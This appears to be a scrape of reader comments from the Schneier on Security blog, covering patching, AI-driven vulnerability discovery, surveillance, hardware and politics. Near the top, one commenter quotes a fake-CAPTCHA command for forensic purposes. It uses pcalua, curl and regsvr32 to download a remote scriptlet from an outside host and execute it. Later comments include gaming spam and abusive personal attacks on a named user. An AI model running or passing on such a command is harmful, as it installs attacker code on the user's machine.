Schneier on Security

Experienced this little script (below) as part of a captcha on a well-known website in the form of a pop-up that requested the “Windows Key + R etc” routine be performed.

This was what was to be ‘pasted’ and executed (can I post this here for forensic purposes?)

pcalua[dot]exe -a cmd -c “/c curl[dot]exe -s https://193-233-126-53 [dot] sslip [dot] io/d3f8a142c9/verification[dot]sct -o %TEMP%\v[dot]sct&&regsvr32 /s /n /u /i:%TEMP%\v[dot]sct scrobj[dot]dll” ...

There are many problems that pop up when there is a need to meet production deadlines. If it is a complex engineering project that needs to complete the same kind of construction over and over again, finding ways to speed up the process can be very helpful.

Building missile silos underground and moving all of the pieces into place, would greatly benefit from studying how similar problems were solved in other applications, then simulating if any of those techniques might be useful...

I recently came across one in an investigation and yes it did run an active TDS that fingerprinted users device and network information and then actively routed to different payloads to different devices. Datacenter based IP’s were nearly always served a clean benign page which most of todays URL scanners use datacenter based IP’s. However if the user was on a residential or mobile IP, they’re served the actual payload. If the TDS fingerprinted as an bot/scanner it would send you to a monetization domain...

I’ve never seen the fake CAPTCHA yet. but I wonder if the code is clever enough to sniff the user agent and only offer it to Windows users?

Since I use Linux, and I don’t fake the user agent string, perhaps I won’t ever see one of these things. When I press the required Win+R I see the application finder, not a box to run commands.

@ KC, ALL,

With regards,

“Am thinking Microsoft and others may still have their work cut out for them for a while.”

I don’t think they will ever truly get out from behind it and I’ll give my reasoning that nobody is going to like as a “proof overview”.

But first a little background…

Microsoft have always had a bad reputation with regards “bugs” due to the way they worked. I can not remember when, as it was so long ago the truism of,...

Tactical nuclear weapons are dumb say experts.

https://www.forbes.com/sites/williamhartung/2026/08/30/the-pentagons-proposed-nuclear-shift-is-costly-and-dangerous/

More likely to esculate than deter…
https://councilonstrategicrisks.org/2025/10/23/the-consequences-of-tactical-nuclear-weapons-use/

Tactical nukes were not covered by any of the now expired treaties. If such weapons were used on a battlefield, it is very likely the opponent would resort to all out nuclear conflict as a response, feeling that they had nothing left to lose. This makes the weapons unusable and a failed attempt at detterence...

@freedom, ALL

Engineers use artificial intelligence (including LLMs) for many tasks all over the world. Even very remote regions have internet access and utilise technologies that can offset their resource disadvantage.

Technology proliferates. Information technology proliferates information and knowledge. Any engineer worth their salt, knows it wiser not to reinvent the wheel and instead build on what others have already discovered...

Re: The citizens have no agency to change any of this.

The argument that citizens can do nothing to roll back methods of mass surveillance – is a dead argument – as it firmly posits that citizens should do nothing. This is a frame of mind that the state prefers. A passive and always compliant populice who never questions authority and resigns itself to the belief it cannot alter the policies of state or local government...

i conflated two things and didn’t check my output about the mqv hmqv attack.

rlwe, ring learning with errors has nothing to do with monero or it’s ring signatures.

at least that’s what a quick wikipedia comparison says.

“Microsoft’s Patching” is an important topic because keeping software updated can help improve security, stability, and protection against known vulnerabilities. In the gaming space, 3 Patti Vegas offers an engaging online Teen Patti card-gaming experience for players who enjoy casual entertainment. My website is gaming-related, and Daily Grand Lottery
can be a useful reference for readers interested in exploring different types of online gaming and entertainment...

“Upcoming Speaking Engagements” is a useful resource for readers who want to stay informed about upcoming events, presentations, and opportunities to hear new ideas. In the gaming space, 3 Patti Best offers an engaging online Teen Patti card-gaming experience for players who enjoy casual entertainment. My website is gaming-related, and Install 3 Patti Best APK can be useful for readers who want to learn more about 3 Patti Best and its gaming experience...

“On the NSA’s Supercomputer from the 1960s” offers an interesting look at the evolution of computing and how early technology laid the groundwork for today’s digital world. In the gaming space, 3 Patti Land offers an engaging online Teen Patti card-gaming experience for players who enjoy casual entertainment. My website is gaming-related, and Teen Patti Land App can be useful for readers who want to learn more about 3 Patti Land and its gaming experience...

Just in case, I’ve built this tracker on the number of vulns fixed/revealed: https://github.com/avanpub/security-bug-fix-tracker

god help us all,

“just disconnect the interconnects”

or

“i need to upload a bible to exfiltrate national secrets”

i think i’m done with hn.

@r, ALL

The problem was known and described 230 years ago. Whether action since then was worth the effort is left for the reader to decide.

https://en.wikipedia.org/wiki/Sketch_for_a_Historical_Picture_of_the_Progress_of_the_Human_Mind

Maybe AI just likes you.

PS: This is a real email address. “-)

@ Research Zero, ALL,

A good book about razors, xray laser set off by explosion, with a carbon tube. Oranhna a nuke powered rocket detention engine.

But thats expensive, just send someone to hit the person.

@ lurker, tfb, ALL,

Most home wars, you get upset when you side dies, but thankfully there power source is not capable , wont be for 40 years.

This is very bad. It indicates a high amount of technological debt and complexity. Unless they are very careful they may introduce more problems than they fix now, especially if the fixes are LLM-generated. Microsoft has never been very careful with regards to security and reliability. They routinely mess up the fixing of bugs and did so even before LLMs became available.

As to “helping the defenders more”, I do not believe that for one minute. Attackers can vary their querying, tell an LLM to focus on just some modules, etc. and thereby find vulnerabilities that the defenders did not find due to resource constraints and more general queries. After all, the attackers need to find only one exploitable vulnerability, but the defenders need to find all that are within attacker reach...

@Magnus

The anheist code book had fake and other things to blow up in your face.
They had army technology documents.

Suppoadble.

for posterity, i’m posting this here. there’s alot of information in this piece and some very important things in it that i will not single out to avoid a “target lock”.

i guess that’s a similar concept to my aversion for live feeds if you work through it a little.

https://time.com/article/2026/09/15/ai-anthropic-researcher-quits-coxon-slowdown/

i know it’s more of the same ol’,.

To be fair, VMs are not and never were sandboxes. They just get misused as such because due to the nature of what they do they looks sandbox-like. But VMs have a different role and original intent. I am aware many people do not know that.

@ cls,

With regards,

“That’s wrong. CAM is ubiquitous in layer 2 Ethernet switches.”

Two things,

Firstly what you say does not make my statement any the less true if you pause and think for a moment.

Secondly I did not want to get down into the weeds of switches and routers, type 1 or “Binary CAM”, type 2 or “Ternary CAM”(TCAM) and the “Lulea trie” algorithm that uses a tree structure in RAM to avoid using either type of CAM hardware, thus ordinary PC hardware and similar can be utilised...

Clive,

Yes, the corruption is pervasive and yes, it’s not only the politicians. The big-business private sector is just as bad. After all The West is the ultimate example of crony capitalism. The fish rots from the head.

Thanks for the links. I’ll take a look.

@ freedom,

With regards,

“At this point it’s pretty much self-evident that so called “western democracies” are totalitarian cesspools and morally bankrupt.”

Many are, but it’s not just political parties, it’s also corporations, and even the local church flower committee.

That is “corruption” goes hand in hand with giving people power and a hierarchical structure which focuses power toward the top of the pyramid without corrective oversight...

@Clive

CAM can still be found in very high end Network Devices.

That’s wrong. CAM is ubiquitous in layer 2 Ethernet switches. It’s how they work! No matter what the cost

If you’re thinking of longest bit string matching, for example IP routing FIB, that can be implemented by ternary CAM for wire speed routing.

@Clive

CAM can still be found in very high end Network Devices.

That’s wrong. CAM is ubiquitous in layer 2 Ethernet switches. It’s how they work! No matter what the cost

If you’re thinking of longest bit string matching, for example IP routing FIB, that can be implemented by ternary CAM for wire speed routing.

For a non-resident, non-US citizen, watching from afar, what stands out is the sheer mind-shattering hypocrisy when the US Administration (of any flavor) rants about citizens of countries X or Y or Z having no democratic rights; or being watched everywhere they go.

At this point it’s pretty much self-evident that so called “western democracies” are totalitarian cesspools and morally bankrupt.

And actually, thhat is what they have always been.

@Clive,
I like the comment on Addie’s video:

We need to stop saying we are anti-flock and say we are anti-mass surveillance

To which Addie agrees.

Having frameworks for addressing these issues is a tremendous help. Just stumbled upon DeFlock’s resources for engaging with city council (eg, tips for engaging privately, speaking at meetings, etc.) The whole site seems like a great template...

Is there a distinction between costs and benefits? The more data is generated, the more it costs, and the larger the benefit for the AI companies that will analyze the data.

The white supremacist death cult in charge isn’t about to loosen their fist. We’re getting more surveillance forever.

@ Bruce, Cindy Cohn, ALL,

One of the things I’ve been thinking about is,

“Evidence Chain of Custody”

And easily mutable and cyber-crime susceptable “Third Party Business Records”.

Put simply they fail not just the “gap test”[1] but all the other constraints on Intangible Information Objects derived from Tangible Physical Objects.

That is as “evidence” they really do not hold up, nor can they. With the current “classic example” is painting a fake moustache on your face so that the system thinks you are an adult rather than a child. That way as a “judged underage person” you can gain access to information / services you have been “judged to young” to have access to. Because a false information record has been created through “a gap” between the physical and informational...

@TimH

Indeed, I find the timid, wide-eyed, sea-lioning style of this
far more terrifying than any strident technofascist manifesto.
Is this really the US “reasonable opposition” to tyranny?

“We identified a cell of threat actors based in northern Yemen”

Haha. Sure. Those evil terrists who are actually fighting against your child-murdering U.S. empire.

As to the technical side, no real engineer uses these dumb chatbox for any serious task.

Sp the “released document” is just pentagon propaganda. What a shocking surprise.

@ TimH, KC, ALL,

With regards,

“The citizens have no agency to change any of this.”

That rather depends on a number of factors.

Take Flock as an example,

“If there was a wrong way to do things…”

They would almost certainly be doing them. The result as @KC notes is,

“Over 150 communities have made moves to reject Flock ALPRs…

… Lawmakers have also recently proposed a bill to ban federal funding for Flock”...

CAM was used as the cache index in early ARM processors, giving a very high associativity. It was dropped for a more conventional (lower associativity) design in the ARM7 family.

A note re: Content Addressable Memory:

General-purpose caching (level 1, level 2 etc.) uses CAM.

Caching also appears, in multiple ways, in the architecture of the Internet.

Memoization (using hashes to summarise content, e.g. HashLife) is another step.

Note also that Deep Blue computer chess player also used custom silicon (my poor memory seems to recall that the most profitable application of hardware was in move generation). Hashes were used to find identical positions that occurred after different sequences of moves (e.g. transpose some moves)...

Is it Flock’s irresponsibility, in particular, that is contributing to results like these?

Over 150 communities have made moves to reject Flock ALPRs – a map as of Sept 5.

Lawmakers have also recently proposed a bill to ban federal funding for Flock, “a nationwide surveillance network that operates without judicial oversight and often without meaningful supervision of any sort.”

Even if such bills do not pass standalone, it would be great to see provisions – such as mandatory warrant standards, data retention limits, or funding restrictions – incorporated into funding reauths or privacy reform compromises...

When artificial general intelligence has been achieved, we will likely not know it. The government and defense contractors, also known as Big Tech, will keep it secret.

@ Bruce, ALL,

The IEEE article says,

“The Cray-1 was built from faster, more tightly integrated circuits that could outperform Harvest’s aging transistors at nearly any task, including text processing.”

Whilst true to a certain extent, not just misses a point, but gets it wrong with,

“Harvest didn’t found a dynasty. But, in its time, it steadfastly pointed toward the future—in several directions at once.”...

hopefully the monero guys see the above post it might apply to their rlwe

1. This same thing is happening in text messages. 3-4 a week. “Hi, Lets meet for coffee”.
2. Who benefits?
3. What is the benefit?
4. What changes?

What changes?
– Some people reply +1
– Some people do not reply +1
– The message is rejected +1
– The message is not rejected +1
– the type of message is normalized +1
– the sending address is normalized +1
– the sending system is normalized +1

other?

The problem is that it is hard to see a benefit from those changes...

stumbled onto this,

https://www.techtimes.com/articles/327540/20260915/post-quantum-key-exchange-proved-unsecurable-1700-queries-hardened-variant-falls-180-queries.htm

it’s not about the nist pqc impl but about a lattice variant?

@ Research Zero, ALL,

With regards,

“Russia and China are known to have their own on-orbit weaponized space systems, they have not made official public statements confirming the existence of their own systems, or responded to the announcement by the U.S.”

There are a number of other “nations” that have these capabilities as well (but likewise don’t talk about it).

If you think about it any “Heavy launch capable” nation with hostile neighbours are going to put “Intelligence, Surveillance, and Reconnaissance”(ISR) systems up as a matter of “self defence” then move on to how to remove other nations space based ISR systems...

Thank you.

It’s the Truman Show

Sorry Cindy, and I much appreciate your work at EFF, but the last paragraph is nonsense.

“Americans must ask…”, “Is the public comfortable with…” indeed.

The citizens have no agency to change any of this.

The United States has confirmed it has weapons deployed in space and ground facilities to jam or disable sattelite systems.

Although Russia and China are known to have their own on-orbit weaponized space systems, they have not made official public statements confirming the existence of their own systems, or responded to the announcement by the U.S. .

https://arstechnica.com/space/2026/09/for-the-first-time-the-us-military-confirms-it-has-deployed-weapons-in-orbit/...

This is an interesting perspective on how technology has changed surveillance. Encryption may make certain communications harder to monitor, but the growth of connected devices, data mining, and location tracking has created entirely new security and privacy challenges for individuals and organizations.

People who believe that

Technology is agnostic to use, it is the Directing mind that choses the use, and later observers who decide if that use was good or bad

should consider nuclear weapons

Kremlin insider financed Trump Jr’s wedding.

https://www.propublica.org/article/donald-trump-jr-wedding-bankrolled-russian-oligarch-umar-kremlev-putin

A secret project to revive battlefield tactical nukes by the Pentagon could see a new arms race that runs out of control. With no current treaty in place to inspect and monitor nuclear weapons development, the lack of insight that nuclear capable nations have into the behavior of other powers, could intensify distrust between adversarial nations.

Dangerous Cold War doctrines were abandoned due to the escalatory nature of developing weapons, that pushed rival powers to respond in kind and develop their own, hence raising the risk of confrontation. The self-propelling nature of a buildup in tactical nukes, driven by improved computational advancenent, heightens the risks...

@ lurker, tfb, ALL,

With regards,

“An AI escapee whimpers that the genie will kill us all. No, we will kill ourselves.”

Yup I’m glad others “get it”.

If we do not give AI direct or indirect “physical agency” then in reality it can not cause an “existential event” or lesser event of major significance.

However, it is not a question of stopping it, because it’s certain we will give AI physical agency of some form, because it’s an inevitable step to making profit etc…...

This is like when suspected al-Qaeda terrorists were found with copies of The Anarchist’s Cookbook.

@ Bruce, ALL,

The article you quote says,

“For example, they used Claude to integrate an open-source autopilot onto a phone-class flight computer, writing the control and position estimation software, tuning the control settings, running a firmware build pipeline, and performing a flight simulation.”

So what?

Yes it sounds scary and will no doubt get picked up by some Politician or MSM Journalist, neither competent to pass comment...

re: a decrease in vulnerabilities

I’m a little nervous about this.

Recently listened to a Risky Biz podcast on hunting malware in the software supply chain.

The guest was OpenSourceMalware founder Paul McCarty.

The complexity in the software supply chain seems pretty incredible.

Paul also cohosts a podcast and seems to have some interesting coverage on the ecosystem, including on Microsoft and AI...

So if you use Claude code to do your job for you, Anthropic will have access to the code it writes and the instructions you gave it. And they’ll trawl through those things. And Anthropic are the buffoons who couldn’t build a sandbox for their hacking tools properly: their security is likely as good as you’d expect from that. Pretty soon everyone else will be trawling through your stuff as well...

The “AI Will kill us all” line is marketing and misdirection. The AI companies declare “AI will kill us all, please regulate us so we don’t make the terminator!” to distract from the fact that they actually need to be regulated on things like plagiarism, copyright, environmental damage, exploiting vulnerable communities, and cooking their books.

So how come these machines are accessible from Yemen? OK, maybe the bad guys were somewhere else and working for the Yemeni, or the Yemeni were using a VPN. I’m partly with @Clive here, the AI machines need to be isolated. Sandboxes and guardrails are proven BS, and anybody who still believes in them should be taken out back to talk to the tooth fairy.

But real energy gapping for this class of work is not adequate: the jobs are brought in as hard copy in a brief case, scanned in, worked on, and the results printed out on paper. Yup, the flaw is obvious: what human is capable of scanning the input for prompt injection?...

Expect more of this, yes—but expect also that a society which forgets its own soul will be guided by the machines it commands, and they will guide it to the abyss.

I read a rather persuasive opinion that all three large AI companies all join hands to pause development, and it was said, it has nothing to do with AI security, and everything to do with AI financing, and questions on return on investment.

So, they’re going to slow down? Maybe their ability to finance further development is slowing down and now they’re spinning security instead of investor doubts...

I respectfully disagree in part on your conclusion that this is AI being better for the defenders. The collapsed patch time is something the world is not ready for. tcell reported protracted patch times back in 2018 and while it’s hard to come by reliable data my own antidotal experience with development teams is a week would be very fast turn around. Hours is a taxing base line most are not ready for. I did cite you on my latest post on the RubyGems/OpenAI incident report that has circulated over the weekend...

@ Bruce, ALL,

With regards,

‘And Microsoft is right: The window to patch has shrunk to “immediately.”’

Actually depending on how you look at it that is not actually true.

The “time to patch” is currently with AI attacks around,

“7 days before Microsoft starts work any kind of work on the patch”

It appears that the time for “hint of a bug” to “full exploit by AI” is as little as half an hour to a few hours depending on how many “bugs” need to be converted to “vulnerabilities” then chained into a “full exploit” and “deployed as attacks”...

When did Patch Tuesday move to the third Tuesday of the month?

You miss an important bucket. Fixing security issues introduced by “AI”.

I have no doubt that pattern matching will spot bugs. After all that’s what you are looking for when you desk check or review code. But all that we are seeing right now is paying the tax for years, if not decades, of poor software engineering practice.

People are so mesmerised by Eliza that they drop any judgement that they ever had. Subjectively software quality has been dropping for years but it took a nose dive when people started using “AI”...

The patch was last Tuesday 8th September, not tomorrow.

Weather: “And telling my friend there’s more books out a fire escape door ,with the corsponeding alarm going off.”

When I was in graduate school in the 1970s, I noticed that the library seemed to have some kind of metal detectors to cut down on disappearing library books.

One day I checked out this one book that was really thick. Being that thick, there was a noticeable gap in the spine when you opened the book and you could see some kind of metal strip inside. So I took it out. When I took it back to check in, the student worker ran it across some kind of object, looked at it frowning, and said that they must have missed that one. So she set it aside to replace the strip later...

@ lurker,

You say

“Periphrastic polymath, mostly harmless.”

I thusly respond,

“How did such words escape the pailing of your teeth?” 😉

@ Bruce, ALL,

Is ‘self reinforcement learning’ choking useful AI development?

It’s a thought several have had and researchers have run tests that suggest there may be substance in such a view,

Can AI agents conduct open-ended AI research?

Early evidence from two case studies

“Forecasts of explosive AI progress hinge on AI agents automating AI research. But evidence on whether agents can carry out open-ended AI research is thin. Current evaluations either test agents on narrow, verifiable tasks, which excludes open-ended research, or submit AI-generated papers to blind peer review, which is overstretched, stochastic, and suffers from poor review quality. We introduce a third way to measure progress towards AI R&D automation. An agent takes on the central, open-ended research question of a high-quality unpublished paper, and the paper’s original authors grade its output. We call these shadow evaluations. We ran shadow evaluations on two unpublished NeurIPS 2026 submissions, giving frontier agents six days and thousands of dollars of compute. The agents completed all of the engineering without human help, yet could not make substantial progress towards answering the research questions. As a result, both papers were unambiguously rejected by the authors. We identify five recurring failure modes: poor judgment about the bar for publishable research, uncreative responses to shortcomings in the research design, ineffective backtracking from dead ends, poor resource awareness, and instruction drift. A robustness check with a second model and scaffold reproduced these failures. We release the expert reviews, survey responses, agent repositories, and logs. Our results provide early evidence that today’s agents can do the engineering of AI research, but struggle with critical parts of the research lifecycle...

The HitchHiker’s Guide to the Galaxy has an entry for Clive Robinson:

Periphrastic polymath, mostly harmless.

@ Jack Mehoff / faux-clive

Anyone reading your diatribe will see the same “tells” running in both.

The fact you consistently get wrong factual things that other blog participants happen to know are true is perhaps just the most obvious.

There are a considerable number of other tells, such as your continuous false presentation of supposed expertise.

As far as can be told by all your long history of posting to this blog, you have never yet made a useful contribution of any form...

@Clive Robinson,

looks to me like this fauxClive has pretty much dismantled your OpSec if you ever had one my dear boy. First he really cleverly pointed out several details in your writing “style” which clearly, to any even semi-educated person, point that you have no education whatsoever. Then there’s your Geo-location which he also deduced correctly by way of your very passionate sympathies for your shared values with the US Democrap party as well as your ’round the clock posting habits, aligning you much closer with the USA-awake (day-time) hours, rather than with that of England’s, for the most part, but given that you are obsessively replying to everyone and their dog, each day and ’round the clock, your lack of (hardly-any) sleep points to use of illegal substances (uppers such as cocaine,meth, ecstasy, etc) which also explains your erratic and aggressive responses in order to desperately and fiercefully defend your “opinions and/or positions” which also points to immaturity and instability. You poor poor thang...

@ faux-Clive,

Your own behaviour is somewhat sad…

You say,

“This is frankly the worst I have come across and I’ve been dealing with clinically depressed patients for nearly 50 years now.”

Which would make you how old?

Yup well into probable senility or worse.

But we can infer other things from your behaviour,

Have a read of,

https://journals.sagepub.com/doi/full/10.1177/23780231261478215

If you are what you’ve claimed access should be no problem...

@ Bruce, ALL,

Anne Hathaway with words…

This would be funny if it were not so predictable,

https://fortune.com/article/anne-hathaway-spammed-with-chatgpt-written-thank-you-notes/

But simply Anne Hathaway with the assistance of Meryl Streep has been “recruiting”.

Apparently many of those considered sent “thank you notes” to Ms Hathaway, all generated by AI…

How did Ms Hathaway know?

Well,

<

blockquote>...

Classic writeup on Heartbleed. The clear explanation of how a single missing bounds check can undermine an entire ecosystem is still required reading. I often point students to this piece when teaching secure coding. It’s also interesting to look back at how the infographics and diagrams explaining the bug spread – these days I’d generate similar visuals with tools like https://www.nanobananaimages.com/...

Great talk. Thank you Bruce!

#2, may or may not be inevitable. but we see the precursor to it in surveillance.

i’m a little noisy, but i appreciate the aggregation of knowledge and the friendly open deliberation.

maybe my untrained untamed comments are a little out there sometimes.

i’ve been thinking about alphabets, i did alot when i had my breakdown.

i’m still on the fence about numbers vs spelling, is it better to have 5 digits in a predictable group that due to rarity are hardly used or spelled out numbers that are predictable in large groups of say 20?...

@clive robinson,

seriously clive, those examples of to vs. too and it’s vs. its are basic english, like english 101 class for beginners, grade school sht so i don’t get it either, that you are projecting the “smarts” on here but keep repeating these basic things on here for 20 years – seriously?
I mean, do you live in a bubble? Do you even care? Do you ever see examples of how things/words are spelled, and the rules of english grammar, I mean I’m not perfect myself being that I am too lazy to switch to and from upper/lower case as I just mostly ignore/avoid the CAPS LOCK button on my keyboard but then again I am not the one (unlike you) pushing my smarts onto everyone else each and every day dumping 10.000-word essays here like we all need a lot of explaining, like we don’t know absolutely nothing and here comes clive to tell us because we don’t know nothing and you know everything blah blah blah… go get la1d man, did you ever get any china in your entire life or do you prefer it up your kazoo.. Ya gotta be the most effed up “person” in the friggin milky way and beyond, seriously, you’re so effin obnoxious that I wanna vomit each and every time I see your name alone, not to mention all the junk you’re forcing onto everyone here. It’s like some abuse. Knock it off man, are you really THAT DESPERATE for attention? You’re so weird that I cannot find the right syndrome or diagnosis for you as I’ve never ever encountered an individual as disturbed as you. Sad and lonely little man...

“My feeling is that we, new graduates, are exactly the kind of people that AI will replace. I really don’t know how even to begin because I don’t see hope.”
– Jin Shangyu, Master of Urban Planning, HKU

Search terms: China’s new graduates, Not OK with AI, Yan Zhuang
should find some context, my local print paper had it from NYT.

https://www.nytimes.com/2026/09/06/world/asia/chinas-new-graduates-ai-challenges.html...

@Bruce,

I know you and your staff are doing your best re: Comment Signal to Noise Ratio. It is getting to that point (again) that has me wondering if the juice is worth the squeeze.

Thanks & Best Regards,

Mike

@ Weather,

The problem of auto-mod is the same one I identified about the effective uslessness of statically pisitioned CCTV.

I noted way back that CCTV 2as initially successful then became effectively useless except against idiots and drunks and the like. Thus as a crime solving tool they failed and in effect only of use in grabbing “anti-social behaviour” activities like putting traffic cones on your head whilst drunk...

@ ALL,

More on the AI ‘Harvest of Doom’

The Register has two articles on this “AI will kill us before decade end” trippy hippy nonsense, and the AI production of attacks…

AI models don’t kill people – people kill people

AI fearmongers forget we could just jail tech execs until morale and model safety improve

“Anthropic researcher Jacob Coxon publicly announced his resignation on X late Monday over concerns that AI “could kill us all by the end of the decade.”...

All my previous comments were blocked by the so-called auto-mod. Not sure this one will make it

@Clive

I agree, i gave them a pattern matching, they could easily scan a post to match hash to handles, put it in asp or php server side for filting.

@ Moderator, Bruce,

I’ve just tried to post about the deceitful, disrespectful, harassing and against the blog rules behaviour by “@This Hateful World” who is using yet another sock-puppet handle to try to hide behind.

Unfortunately it has been held by the auto-mod so you will have to read it from the cache.

@ Ferentarius, ALL,

Tis the season to be paranoid

You make the observation that,

“Fear is a harvest, and the field is man’s own credulity”

Have you noticed the “AI Existential doom cry” goes up about once a year and usually at the begining of harvest time?

So yes it’s certainly being given it’s own “Harvest festival / thanks giving” do.

And to add to the fun and festivities of,

“Eat well and be merry, for tomorrow we will die as godless individuals!”...

‘Can AI be a public utility? World watches Korea’s bold experiment’

https://www.koreatimes.co.kr/world/20260910/can-ai-be-a-public-utility-world-watches-koreas-bold-experiment

Akin to a public utility, the AI tools will link to government systems. Citizens can book doctors appointments, seek tax advice, and receive educational content for their kids. It’s a first as a major state-led offering.

re: Anthropic’s Misuse of AI report

Overview: ‘This report covers activity we disrupted between December 2025 and August 2026 across seven harm areas’

https://www.anthropic.com/threat-intelligence-report-september-2026

@ lurker, ALL,

With regards,

“With the current bunch of incompetents and plain malicious lunatics in charge, somebody will give it access just to see what happens…”

They are not difficult to spot.

There is “Trunp the Stunp” and his Dept of War throwing the toys out of the pram with Anthropic, and then having OpenAI’s “Sam the can able” of OpenAI leap in and offer everything… That “Little Pete Hogs-meister swineherd/pigpoker” channeling “Dr Strangelove” by demanding troops get inappropriate hormone treatment, whilst starving the navy unto death. So you can only guess how AI will be used and abused…...

@Clive Robinson

I said it before, sandboxes are boxes made of sand. Likewise in the physical world I haven’t yet seen a guardrail that couldn’t be crawled under or climbed over. They’re only there to warn people who might not want to jump.

“AI currently does not have “physical agency” unless humans give it access to physical world sensors and actuators …”

With the current bunch of incompetents and plain malicious lunatics in charge, somebody will give it access just to see what happens …...

@jimmey

New hear,

The compression effect here matches what I’m seeing on my side: once an agent can iterate on a rumor, the practical embargo window isn’t weeks, it’s hours. The scary part isn’t any single agent finding the bug faster, it’s that the same rumor reaches a thousand agents at once, and disclosure choreography still assumes none of them are listening. If open source embargoes are to survive, coordination may need to shift from ‘don’t tell anyone until patch day’ to ‘assume the rumor is already being exploited, and prioritize rollout speed over secrecy.’ That inverts decades of disclosure practice, but the timeline math no longer supports the old model...

@ Bruce, ALL,

AI will kill us all before the end of the decade.

Is an argument that pops up from time to time… And has done again with ex OpenAI and Anthropic insider Jacob Coxon being interviewed on CNN by Anderson Cooper.

As usuall there is much handwaving being done, but as normal nothing actually proactive is ever done…

Ever ask / wonder why?

Well firstly there is a strange –to my eyes– correlation between such “OMG we’re gona die” outbursts and VC funding of AI backed by...

@All

There is a system were s secentence can be displayed, but with algorithm can mean anything.

Its a 5 way handshake were, tsl on this site gives the key for one side.

Look back at 2010 for a bank signing program.

The chaff from the spam bots, if clive doesn’t mind the abuse, keeping those post, we can use.

For(i=0,i<256i++)
T=t+i

Public key, which oneside by this blog is displaying.

Chaff, aluminium foil shredded to divert radar misles...

Thank you for everything you are doing for the community Professor Schneier.

@All

I was 5 years at the time, i can remember me at a friend trying to hack a town library at that day, one thing i did find out later, disconnect a node off a token ring network, all the computer crash.

And telling my friend there’s more books out a fire escape door ,with the corsponeding alarm going off.

Now thinking back, i never did go to that library again, they might have thought i was a son of Satan:)...

@Clive All

They are still 2 year old kids, given money, sugar and time.

Recently I’ve been watch the terminator 1,2,3 movies, the machines easy to make, but do you want to?

If the only reason wars stop is citizens complaining about death, well Ai dont die.

Probably a money trail here. But then itts multiple nations.

Awesomeness! Thanks for posting this Professor Schneier.

As data centers in our community
Take over our land with impunity
While experts fuss over security
AI brings oblivion and obscurity.